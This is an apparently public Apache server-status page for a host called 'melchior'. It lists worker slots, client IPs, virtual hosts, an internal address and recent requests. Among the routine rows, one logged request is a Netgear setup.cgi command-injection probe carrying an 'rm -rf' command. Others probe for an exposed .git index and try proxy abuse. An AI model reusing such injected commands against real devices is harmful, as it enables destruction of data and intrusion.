_______W_......................._............................... ................................................................ ......................
Scoreboard Key:
"_
" Waiting for Connection,
"S
" Starting up,
"R
" Reading Request,
"W
" Sending Reply,
"K
" Keepalive (read),
"D
" DNS Lookup,
"C
" Closing connection,
"L
" Logging,
"G
" Gracefully finishing,
"I
" Idle cleanup of worker,
".
" Open slot with no current process
Srv | PID | Acc | M | CPU | SS | Req | Conn | Child | Slot | Client | VHost | Request |
---|---|---|---|---|---|---|---|---|---|---|---|---|
0-250 | 28585 | 0/59/32104 | _ | 0.92 | 1337 | 0 | 0.0 | 0.10 | 2700.12 | 66.240.192.138 | melchior:80 | GET /robots.txt HTTP/1.1 |
1-250 | 28618 | 0/66/30130 | _ | 2.07 | 5801 | 669 | 0.0 | 0.14 | 3785.73 | 157.55.39.13 | melchior:80 | NULL |
2-250 | 28584 | 0/58/25007 | _ | 1.04 | 1335 | 0 | 0.0 | 1.42 | 4869.53 | 66.240.192.138 | melchior:80 | GET /.well-known/security.txt HTTP/1.1 |
3-250 | 28920 | 0/26/30471 | _ | 1.43 | 11768 | 269 | 0.0 | 0.54 | 705.71 | 192.168.1.210 | acis-france.melchior.gidev.io:8 | POST /wp-cron.php?doing_wp_cron=1760704632.81172609329223632812 |
4-250 | 32828 | 0/52/28137 | _ | 1.29 | 1401 | 0 | 0.0 | 0.12 | 1905.29 | 59.97.252.250 | melchior:80 | GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tm |
5-250 | 28582 | 0/65/28775 | _ | 3.44 | 3928 | 173 | 0.0 | 0.31 | 3127.96 | 40.77.167.116 | melchior:80 | NULL |
6-250 | 28583 | 0/152/23837 | _ | 2.29 | 24 | 0 | 0.0 | 0.17 | 815.27 | 87.120.191.93 | melchior:80 | NULL |
7-250 | 32905 | 1/26/16499 | W | 0.00 | 0 | 0 | 0.8 | 0.02 | 4065.28 | 216.73.216.2 | melchior:80 | GET /server-status HTTP/1.1 |
8-250 | 32906 | 0/23/18531 | _ | 0.33 | 2784 | 0 | 0.0 | 0.03 | 478.67 | 204.76.203.212 | melchior:80 | NULL |
9-249 | - | 0/0/20416 | . | 1.09 | 41299 | 387 | 0.0 | 0.00 | 1045.36 | 192.168.1.210 | acis-france.melchior.gidev.io:8 | POST /wp-cron.php?doing_wp_cron=1760673737.20416593551635742187 |
10-248 | - | 0/0/13844 | . | 0.47 | 127699 | 927 | 0.0 | 0.00 | 431.31 | 66.249.68.68 | acis-france.melchior.gidev.io:8 | GET /product-sitemap.xml HTTP/1.1 |
11-241 | - | 0/0/10990 | . | 0.57 | 732499 | 0 | 0.0 | 0.00 | 176.28 | 195.178.110.201 | melchior:80 | GET /.git/index HTTP/1.1 |
12-241 | - | 0/0/3341 | . | 0.00 | 755019 | 0 | 0.0 | 0.00 | 72.05 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
13-241 | - | 0/0/4576 | . | 0.94 | 732499 | 0 | 0.0 | 0.00 | 62.89 | 204.76.203.219 | melchior:80 | NULL |
14-241 | - | 0/0/1340 | . | 0.00 | 755032 | 0 | 0.0 | 0.00 | 42.30 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
15-241 | - | 0/0/1569 | . | 0.00 | 755022 | 0 | 0.0 | 0.00 | 15.60 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
16-241 | - | 0/0/2864 | . | 0.16 | 755023 | 0 | 0.0 | 0.00 | 31.58 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
17-241 | - | 0/0/2761 | . | 0.09 | 755029 | 0 | 0.0 | 0.00 | 65.77 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
18-241 | - | 0/0/1303 | . | 0.00 | 755027 | 0 | 0.0 | 0.00 | 16.40 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
19-241 | - | 0/0/471 | . | 0.00 | 755025 | 0 | 0.0 | 0.00 | 88.02 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
20-242 | - | 0/0/795 | . | 2.24 | 672768 | 0 | 0.0 | 0.00 | 4.86 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
21-241 | - | 0/0/957 | . | 0.00 | 755030 | 0 | 0.0 | 0.00 | 27.69 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
22-241 | - | 0/0/486 | . | 0.01 | 732499 | 0 | 0.0 | 0.00 | 5.39 | 176.97.210.9 | melchior:80 | CONNECT postman-echo.com:443 HTTP/1.1 |
23-241 | - | 0/0/150 | . | 0.00 | 755490 | 0 | 0.0 | 0.00 | 0.32 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
24-241 | - | 0/0/553 | . | 0.00 | 755492 | 0 | 0.0 | 0.00 | 21.36 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
25-241 | - | 0/0/248 | . | 0.00 | 755488 | 0 | 0.0 | 0.00 | 1.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
26-241 | - | 0/0/202 | . | 0.00 | 755474 | 0 | 0.0 | 0.00 | 1.58 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
27-244 | - | 0/0/509 | . | 4.10 | 496660 | 0 | 0.0 | 0.00 | 1.99 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
28-241 | - | 0/0/418 | . | 0.00 | 755485 | 0 | 0.0 | 0.00 | 0.99 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
29-241 | - | 0/0/207 | . | 0.00 | 755489 | 0 | 0.0 | 0.00 | 1.98 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
30-241 | - | 0/0/463 | . | 0.00 | 755469 | 0 | 0.0 | 0.00 | 1.42 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
31-241 | - | 0/0/743 | . | 0.00 | 755491 | 0 | 0.0 | 0.00 | 8.47 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
32-250 | 28581 | 0/74/1526 | _ | 4.78 | 107 | 0 | 0.0 | 0.27 | 16.51 | 176.65.141.87 | melchior:80 | NULL |
33-241 | - | 0/0/108 | . | 0.00 | 755481 | 0 | 0.0 | 0.00 | 0.44 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
34-241 | - | 0/0/76 | . | 0.00 | 755476 | 0 | 0.0 | 0.00 | 0.21 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
35-241 | - | 0/0/90 | . | 0.00 | 755487 | 0 | 0.0 | 0.00 | 1.09 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
36-241 | - | 0/0/171 | . | 0.00 | 755483 | 0 | 0.0 | 0.00 | 1.44 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
37-241 | - | 0/0/234 | . | 0.00 | 755471 | 0 | 0.0 | 0.00 | 0.94 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
38-241 | - | 0/0/339 | . | 0.00 | 755470 | 0 | 0.0 | 0.00 | 3.96 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
39-241 | - | 0/0/52 | . | 0.00 | 755465 | 0 | 0.0 | 0.00 | 0.18 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
40-241 | - | 0/0/56 | . | 0.00 | 755464 | 0 | 0.0 | 0.00 | 0.10 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
41-130 | - | 0/0/37 | . | 0.59 | 9861703 | 0 | 0.0 | 0.00 | 0.08 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
42-130 | - | 0/0/433 | . | 0.00 | 9861746 | 0 | 0.0 | 0.00 | 14.79 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
43-130 | - | 0/0/33 | . | 0.00 | 9861764 | 0 | 0.0 | 0.00 | 0.07 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
44-132 | - | 0/0/368 | . | 7.76 | 9645457 | 0 | 0.0 | 0.00 | 5.26 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
45-130 | - | 0/0/43 | . | 0.00 | 9856586 | 0 | 0.0 | 0.00 | 0.13 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
46-130 | - | 0/0/46 | . | 0.00 | 9861749 | 0 | 0.0 | 0.00 | 0.05 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
47-130 | - | 0/0/71 | . | 0.00 | 9861762 | 0 | 0.0 | 0.00 | 0.27 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
48-130 | - | 0/0/34 | . | 0.00 | 9861758 | 0 | 0.0 | 0.00 | 0.04 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
49-130 | - | 0/0/19 | . | 0.00 | 9861763 | 0 | 0.0 | 0.00 | 0.04 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
50-130 | - | 0/0/11 | . | 0.00 | 9861743 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
51-130 | - | 0/0/18 | . | 0.00 | 9861755 | 0 | 0.0 | 0.00 | 0.02 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
52-130 | - | 0/0/51 | . | 1.19 | 9827726 | 0 | 0.0 | 0.00 | 2.07 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
53-130 | - | 0/0/9 | . | 0.00 | 9861708 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
54-130 | - | 0/0/624 | . | 0.00 | 9861710 | 0 | 0.0 | 0.00 | 24.47 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
55-130 | - | 0/0/15 | . | 0.00 | 9861713 | 0 | 0.0 | 0.00 | 0.02 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
56-130 | - | 0/0/9 | . | 0.00 | 9861712 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
57-130 | - | 0/0/60 | . | 1.35 | 9839806 | 0 | 0.0 | 0.00 | 0.13 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
58-130 | - | 0/0/7 | . | 0.00 | 9861734 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
59-130 | - | 0/0/93 | . | 4.33 | 9827725 | 0 | 0.0 | 0.00 | 3.60 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
60-130 | - | 0/0/7 | . | 0.00 | 9861711 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
61-130 | - | 0/0/18 | . | 0.00 | 9861745 | 0 | 0.0 | 0.00 | 0.01 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
62-130 | - | 0/0/7 | . | 0.00 | 9861757 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
63-130 | - | 0/0/7 | . | 0.00 | 9861761 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
64-130 | - | 0/0/363 | . | 0.00 | 9861759 | 0 | 0.0 | 0.00 | 30.71 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
65-130 | - | 0/0/8 | . | 0.30 | 9861704 | 0 | 0.0 | 0.00 | 0.03 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
66-130 | - | 0/0/7 | . | 0.00 | 9861705 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
67-130 | - | 0/0/14 | . | 0.00 | 9861731 | 0 | 0.0 | 0.00 | 0.01 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
68-130 | - | 0/0/7 | . | 0.00 | 9861735 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
69-130 | - | 0/0/7 | . | 0.00 | 9861760 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
70-130 | - | 0/0/7 | . | 0.00 | 9861732 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
71-130 | - | 0/0/13 | . | 0.00 | 9861744 | 0 | 0.0 | 0.00 | 0.02 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
72-133 | - | 0/0/343 | . | 4.82 | 9555805 | 0 | 0.0 | 0.00 | 7.55 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
73-128 | - | 0/0/12 | . | 0.00 | 10015735 | 0 | 0.0 | 0.00 | 0.01 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
74-128 | - | 0/0/12 | . | 0.15 | 9999284 | 0 | 0.0 | 0.00 | 0.46 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
75-128 | - | 0/0/55 | . | 0.00 | 10015826 | 0 | 0.0 | 0.00 | 0.13 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
76-128 | - | 0/0/6 | . | 0.00 | 10015795 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
77-128 | - | 0/0/6 | . | 0.00 | 10015808 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
78-128 | - | 0/0/6 | . | 0.00 | 10015796 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
79-128 | - | 0/0/11 | . | 0.00 | 10015817 | 0 | 0.0 | 0.00 | 0.02 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
80-128 | - | 0/0/4 | . | 0.00 | 10015782 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
81-128 | - | 0/0/2 | . | 0.00 | 10015846 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
82-128 | - | 0/0/2 | . | 0.00 | 10015798 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
83-128 | - | 0/0/2 | . | 0.00 | 10015856 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
84-128 | - | 0/0/2 | . | 0.00 | 10015829 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
85-128 | - | 0/0/2 | . | 0.00 | 10015783 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
86-128 | - | 0/0/2 | . | 0.00 | 10015843 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
87-128 | - | 0/0/2 | . | 0.00 | 10015833 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
88-128 | - | 0/0/2 | . | 0.00 | 10015767 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
89-128 | - | 0/0/2 | . | 0.00 | 10015785 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
90-128 | - | 0/0/2 | . | 0.00 | 10015745 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
91-128 | - | 0/0/2 | . | 0.00 | 10015821 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
92-128 | - | 0/0/2 | . | 0.00 | 10015835 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
93-128 | - | 0/0/2 | . | 0.00 | 10015809 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
94-128 | - | 0/0/2 | . | 0.00 | 10015765 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
95-128 | - | 0/0/2 | . | 0.00 | 10015772 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
96-128 | - | 0/0/2 | . | 0.00 | 10015805 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
97-128 | - | 0/0/2 | . | 0.00 | 10015820 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
98-128 | - | 0/0/2 | . | 0.00 | 10015751 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
99-128 | - | 0/0/2 | . | 0.00 | 10015770 | 5 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
100-128 | - | 0/0/2 | . | 0.00 | 10015748 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
101-128 | - | 0/0/2 | . | 0.00 | 10015760 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
102-128 | - | 0/0/2 | . | 0.00 | 10015815 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
103-128 | - | 0/0/2 | . | 0.00 | 10015837 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
104-128 | - | 0/0/2 | . | 0.00 | 10015832 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
105-128 | - | 0/0/8 | . | 0.74 | 9977299 | 0 | 0.0 | 0.00 | 0.01 | 185.218.84.178 | melchior:80 | NULL |
106-128 | - | 0/0/2 | . | 0.00 | 10015761 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
107-128 | - | 0/0/2 | . | 0.00 | 10015737 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
108-128 | - | 0/0/1 | . | 0.00 | 10015855 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
109-128 | - | 0/0/1 | . | 0.00 | 10015852 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
110-128 | - | 0/0/1 | . | 0.00 | 10015859 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
111-128 | - | 0/0/1 | . | 0.00 | 10015834 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
112-128 | - | 0/0/1 | . | 0.00 | 10015860 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
113-128 | - | 0/0/1 | . | 0.00 | 10015862 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
114-128 | - | 0/0/1 | . | 0.02 | 10015762 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
115-128 | - | 0/0/33 | . | 1.86 | 9977299 | 0 | 0.0 | 0.00 | 0.05 | 185.242.226.99 | melchior:80 | \x16\x03\x01 |
116-128 | - | 0/0/1 | . | 0.00 | 10015848 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
117-128 | - | 0/0/1 | . | 0.00 | 10015818 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
118-128 | - | 0/0/1 | . | 0.00 | 10015861 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
119-128 | - | 0/0/1 | . | 0.00 | 10015810 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
120-128 | - | 0/0/1 | . | 0.00 | 10015799 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
121-128 | - | 0/0/1 | . | 0.00 | 10015746 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
122-128 | - | 0/0/1 | . | 0.00 | 10015849 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
123-128 | - | 0/0/1 | . | 0.00 | 10015804 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
124-128 | - | 0/0/1 | . | 0.00 | 10015850 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
125-128 | - | 0/0/1 | . | 0.00 | 10015763 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
126-128 | - | 0/0/1 | . | 0.00 | 10015831 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
127-128 | - | 0/0/1 | . | 0.00 | 10015824 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
128-128 | - | 0/0/1 | . | 0.00 | 10015792 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
129-128 | - | 0/0/1 | . | 0.00 | 10015822 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
130-128 | - | 0/0/1 | . | 0.00 | 10015853 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
131-128 | - | 0/0/1 | . | 0.00 | 10015854 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
132-128 | - | 0/0/1 | . | 0.00 | 10015819 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
133-128 | - | 0/0/1 | . | 0.00 | 10015812 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
134-128 | - | 0/0/1 | . | 0.00 | 10015814 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
135-128 | - | 0/0/1 | . | 0.00 | 10015851 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
136-128 | - | 0/0/1 | . | 0.00 | 10015753 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
137-128 | - | 0/0/1 | . | 0.00 | 10015778 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
138-128 | - | 0/0/1 | . | 0.00 | 10015771 | 0 | 0.0 | 0.00 | 0.00 | ::1 | 192.168.1.210:8080 | OPTIONS * HTTP/1.0 |
Srv | Child Server number - generation |
---|---|
PID | OS process ID |
Acc | Number of accesses this connection / this child / this slot |
M | Mode of operation |
CPU | CPU usage, number of seconds |
SS | Seconds since beginning of most recent request |
Req | Milliseconds required to process most recent request |
Conn | Kilobytes transferred this connection |
Child | Megabytes transferred this child |
Slot | Total megabytes transferred this slot |
SSL/TLS Session Cache Status: |
cache type: SHMCB, shared memory: 512000 bytes, current entries: 0 subcaches: 32, indexes per subcache: 88 index usage: 0%, cache usage: 0% total entries stored since starting: 0 total entries replaced since starting: 0 total entries expired since starting: 0 total (pre-expiry) entries scrolled out of the cache: 0 total retrieves since starting: 0 hit, 0 miss total removes since starting: 0 hit, 0 miss |